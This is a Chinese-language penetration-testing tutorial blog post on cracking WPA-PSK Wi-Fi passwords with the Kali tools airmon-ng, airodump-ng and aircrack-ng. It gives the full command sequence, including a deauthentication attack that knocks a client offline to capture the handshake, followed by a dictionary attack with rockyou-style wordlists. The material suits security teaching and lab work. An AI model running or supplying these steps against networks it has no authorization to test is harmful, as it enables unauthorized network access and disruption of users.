Kali渗透测试（四）——无线网络WPA攻击（PSK破解、AIROLIB、JTR、cowpatty、pyrit）

最新推荐文章于 2024-07-30 15:49:13 发布

原创

最新推荐文章于 2024-07-30 15:49:13 发布 · 1.9k 阅读

17 ·

CC 4.0 BY-SA版权

本文详细介绍了WPA无线网络的多种破解方法，包括PSK攻击、AIROLIB、JTR、cowpatty及pyrit等工具的使用流程与实践。从启动monitor到抓取握手包，再到字典暴力破解，深入探讨了WPA的安全性及其破解难点。

无线网络WPA的攻击

主要有PSK攻击和AIROLIB、JTR、cowpatty、pyrit等工具的使用

（一）WPA PSK 攻击
WPA不存在WEP的弱点，只能基于字典暴力破解
在这里插入图片描述 PSK破解过程
启动monitor
抓握手包并保存
deauthentication攻击获取4步握手信息
字典暴力破解

2.实践
AP设置为WPA，AES加密

2.1
首先检测专用的USB无线网卡，我用的是RT3070(或者是RTL8187都可以）就是这里的wlan0
在这里插入图片描述
2.2
停止掉一些不必要的服务：service network-manager stop ， airmon-ng check kill
然后启动网卡的monitor 模式： airmon-ng start wlan0

在这里插入图片描述

开始网络探测：airodump-ng wlan0mon
在这里插入图片描述
2.3
拿第一个无线实验，抓取握手包

airodump-ng -c 11 --bssid 2C:XX:XX:1D:53:50 -w wpa wlan0mon

#抓包，-c指定信道，–bssid指定侦听的AP，-w写入wpa文件
在这里插入图片描述

发现有一个客户端在线，但是没有握手包，所以 deauthentication攻击让他重连，来尽可能多的抓包，aireplay-ng -0 2 -a 2C:XX:XX:1D:53:50 -c DC:EF:XX:XX:XX:XX wlan0mon
-0指定攻击次数，-a指定AP，-c指定客户端
在这里插入图片描述
#成功抓取握手信息，wpa-01.cap

2.4
用自带字典暴力破解，得到了密码
aircrack-ng -w /usr/share/john/password.lst wpa-01.cap
字典还有以下这些
#/usr/share/wfuzz/wordlist/fuzzdb/wordlists-misc/
#/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/
#/usr/share/wordlists/rockyou.txt.gz
在这里插入图片描述
这里的密码比较简单能用字典很快跑出来，但是如果密码比较复杂可能跑不出来。